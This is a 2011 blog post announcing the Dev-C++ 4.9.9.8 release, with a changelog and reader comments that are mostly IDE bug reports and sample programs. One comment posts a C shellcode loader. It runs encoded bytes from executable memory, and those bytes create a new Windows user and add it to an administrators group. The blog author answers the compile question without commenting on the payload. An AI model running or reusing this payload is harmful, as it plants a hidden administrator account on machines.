Monday, August 1, 2011

Dev-C++ 4.9.9.8 released

This one is the last one developed in my lots of free time. Got a job now and I'm going to college within a month, so I probably won't be fixing as fast as before. But nevertheless, this version comes with yet another bunch of fixes.




Changes - Version 4.9.9.8 - 1 Augustus 2011
  • Fixed the uninstallers name: it used to report '4.9.9.5'.
  • Added formatting for 'unknown escape sequence:'.
  • Portable configurations are now saved in .\config\ instead of '.\'. Looks much cleaner this way.
  • The Simple Window example now works correctly.
  • Added the flags that are actually set to Compiler Options.
  • The compiler now correctly remembers if it has created debug symbols.
  • And some more stuff I forgot about.


Important notices
  1. The options format has changed. If you want to reuse an old pre-4.9.9.3 config file (NOT recommended), or, more importantly, when you're overriding Compiler Options in your project, you need to re-set these project settings once and save the project. You'll then have an updated 4.9.9.3+ project file.
  2. This version has GCC built-in instead of being an aditional package. It also contains D3D9/10/11, GDI, Win32 and OpenGL headers and libraries in that flavor.
  3. This version is now fully portable. If you also don't want Dev to leave anything behind in the registry, please select "Portable" or "Minimal" in the setup options.
  4. For ultimate portable programming, please launch devcppPortable.exe.lnk located in the main folder of the portable zip download. This will make dev save its configuration files in the same folder as the executable.


Download
The setup can be downloaded here. The Portable zip version can be downloaded here. The source code can be found here.


Problems
  • NOT FIXED: Dev-C++ stalls when it tries to terminate console programs waiting at "Press any key" lines.
  • FIXED: Typing stuff like foo[bar.member] spawns the completion tooltip of foo when typing the '.' after bar.
  • FIXED: Control-clicking now works again when navigating through classes/variables.
  • FIXED: Pasting chunks of code that require scrolling now force a refresh instead of showing gibberish.
  • FIXED: The portable shortcut now tries to run .\devcpp.exe instead of one in Program Files.
  • FIXED: Added a D3D9 example template.
  • FIXED: The portable shorcut is now a proper relative (AutoIt) one.

10 comments:

  1. runtime error : when the mouse point over to the declaration ex. int i; its says not int i but _bfd_window_internat *i.

    ReplyDelete
  2. Well, ehm, I've tried this piece of code:

    #include
    #include

    using namespace std;

    int main(int argc, char *argv[])
    {
    int i;
    cout << i; // Mousing over it here view 'int i'
    system("pause");
    return 0;
    }

    ... and uhm, it just views 'int i'.

    Please explain in more detail and/or provide a repeatable test.

    ReplyDelete
  3. using namespace std;

    char matrix[3][3];
    void cou(void);

    int main()
    {

    int m,n;
    char ch='y';

    while(ch=='Y'||ch=='y')
    {
    for (m=0;m<3;m++)
    for (n=0;n<3;n++)matrix[m][n]= '\0';
    int i,j,sum=0;
    while ( sum < 10){
    if (sum == 0) cou();
    cout<<"Player 1 is 'X': choose the row and column"<>i;
    cout<<"Column : ";
    cin>>j;
    for (;i>3 || i<1 || j>3 || j<1 ||('X'==matrix[i-1][j-1]||'O'==matrix[i-1][j-1]);)
    {
    cout<<"Sorry boy, but you gotta choose another place.\n";cout<<"row : ";
    cin>>i;
    cout<<"column : ";
    cin>>j;
    }
    matrix[i-1][j-1]='X';
    sum++;
    cou();
    if (matrix[0][0]=='X' && matrix[0][0]==matrix[1][1] && matrix[1][1]==matrix[2][2])
    {cout<<"Player 1 wins"<>i;
    cout<<"Column : ";
    cin>>j;
    for (;i>3 || i<1 || j>3 || j<1 ||('X'==matrix[i-1][j-1]||'O'==matrix[i-1][j-1]);)
    {
    cout<<"Sorry boy, but you gotta choose another place.\n";
    cout<<"row : ";cin>>i;cout<<"column : ";cin>>j;}
    matrix[i-1][j-1]='O';
    sum++;

    cou();

    if (matrix[0][0]=='O' && matrix[0][0]==matrix[1][1] && matrix[1][1]==matrix[2][2])
    {cout<<"Player 2 wins"<>ch;
    }
    system("PAUSE");
    return 0;
    }

    void cou(void)
    {
    cout<<"\n\t\t 1 2 3\n"<<endl;
    cout<<"\t\t 1 "<<matrix[0][0]<<" | "
    <<matrix[0][1]<<" | "<<matrix[0][2]<<endl;
    cout<<"\t\t ---|---|---\n";
    cout<<"\t\t 2 "<<matrix[1][0]<<" | "
    <<matrix[1][1]<<" | "<<matrix[1][2]<<endl;
    cout<<"\t\t ---|---|---\n";
    cout<<"\t\t 3 "<<matrix[2][0]<<" | "
    <<matrix[2][1]<<" | "<<matrix[2][2]<<"\n\n\n";
    }

    runtime error : when the mouse point over to the declaration ex. int i; its says not int i but _bfd_window_internat *i.

    ReplyDelete
  4. using namespace std;

    char matrix[3][3];
    void cou(void);

    int main()
    {

    int m,n;
    char ch='y';

    while(ch=='Y'||ch=='y')
    {
    for (m=0;m<3;m++)
    for (n=0;n<3;n++)matrix[m][n]= '\0';
    int i,j,sum=0;
    while ( sum < 10){
    if (sum == 0) cou();
    cout<<"Player 1 is 'X': choose the row and column"<>i;
    cout<<"Column : ";
    cin>>j;
    for (;i>3 || i<1 || j>3 || j<1 ||('X'==matrix[i-1][j-1]||'O'==matrix[i-1][j-1]);)
    {
    cout<<"Sorry boy, but you gotta choose another place.\n";cout<<"row : ";
    cin>>i;
    cout<<"column : ";
    cin>>j;
    }
    matrix[i-1][j-1]='X';
    sum++;
    cou();
    if (matrix[0][0]=='X' && matrix[0][0]==matrix[1][1] && matrix[1][1]==matrix[2][2])
    {cout<<"Player 1 wins"<>i;
    cout<<"Column : ";
    cin>>j;
    for (;i>3 || i<1 || j>3 || j<1 ||('X'==matrix[i-1][j-1]||'O'==matrix[i-1][j-1]);)
    {
    cout<<"Sorry boy, but you gotta choose another place.\n";
    cout<<"row : ";cin>>i;cout<<"column : ";cin>>j;}
    matrix[i-1][j-1]='O';
    sum++;

    cou();

    if (matrix[0][0]=='O' && matrix[0][0]==matrix[1][1] && matrix[1][1]==matrix[2][2])
    {cout<<"Player 2 wins"<>ch;
    }
    system("PAUSE");
    return 0;
    }

    void cou(void)
    {
    cout<<"\n\t\t 1 2 3\n"<<endl;
    cout<<"\t\t 1 "<<matrix[0][0]<<" | "
    <<matrix[0][1]<<" | "<<matrix[0][2]<<endl;
    cout<<"\t\t ---|---|---\n";
    cout<<"\t\t 2 "<<matrix[1][0]<<" | "
    <<matrix[1][1]<<" | "<<matrix[1][2]<<endl;
    cout<<"\t\t ---|---|---\n";
    cout<<"\t\t 3 "<<matrix[2][0]<<" | "
    <<matrix[2][1]<<" | "<<matrix[2][2]<<"\n\n\n";
    }

    runtime error : when the mouse point over to the declaration ex. int i; its says not int i but _bfd_window_internat *i.
    August 3, 2011 3:13 AM

    try it and youll see...

    ReplyDelete
  5. Any chance in you upgrading the GCC Compiler to 4.6?

    ReplyDelete
  6. This comment has been removed by the author.

    ReplyDelete
  7. Good day

    can i ask for an advice from u?
    coz i have this thesis which i have to log error messages to a text file..

    which do you think is right to do? modify the dev c++ program or create a separate program that could do it?..

    hoping for your reply

    tnx...


    mdizon...

    ReplyDelete
  8. #include
    #include

    int main(){
    const char shellcode[]=
    "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
    "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
    "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
    "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
    "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
    "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
    "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
    "\x20\x75\x73\x65\x72\x20\x52\x75\x62\x62"
    "\x65\x72\x44\x75\x63\x6B\x20\x6D\x75\x64"
    "\x62\x61\x74\x68\x20\x2F\x61\x64\x64\x20"
    "\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63"
    "\x61\x6C\x67\x72\x6F\x75\x70\x20\x61\x64"
    "\x6D\x74\x6F\x72\x73\x20\x52\x75\x62\x62"
    "\x65\x72\x44\x75\x63\x6B\x20\x2F\x61\x64"
    "\x64\x00";

    LPVOID lpAlloc;
    typedef void (*pfunc)();
    printf("size = %i bytes\n", lstrlen(shellcode) + 1);
    printf("---------- MyUser ----------\nUsername: jan\nPassword: root123#\n");
    system("PAUSE");

    lpAlloc = VirtualAlloc(0, 4096,
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL){
    printf("Memory not allocated!\n");
    return 0;
    }

    memcpy(lpAlloc, shellcode, lstrlen(shellcode) + 1);

    pfunc = lpAlloc;

    pfunc();

    return 0;
    }


    It gives the Error...
    "[Error] expected unqualified-id before '=' token"..

    Can anyone please help me regarding this??

    Please provide your kind answers on my EMail: softbox84@gmail.com

    ReplyDelete
  9. @SoftBox

    You aren't defining a function instance. If you want to create a function, add this:

    void (*pfunctype)() = NULL;

    But still, without hardcore typecasted, you aren't allowed to assign blocks of memory to function pointers...

    Oh, and uhm, please reply to more recent versions. I don't check the comments on these old versions very often, you see. ;)

    ReplyDelete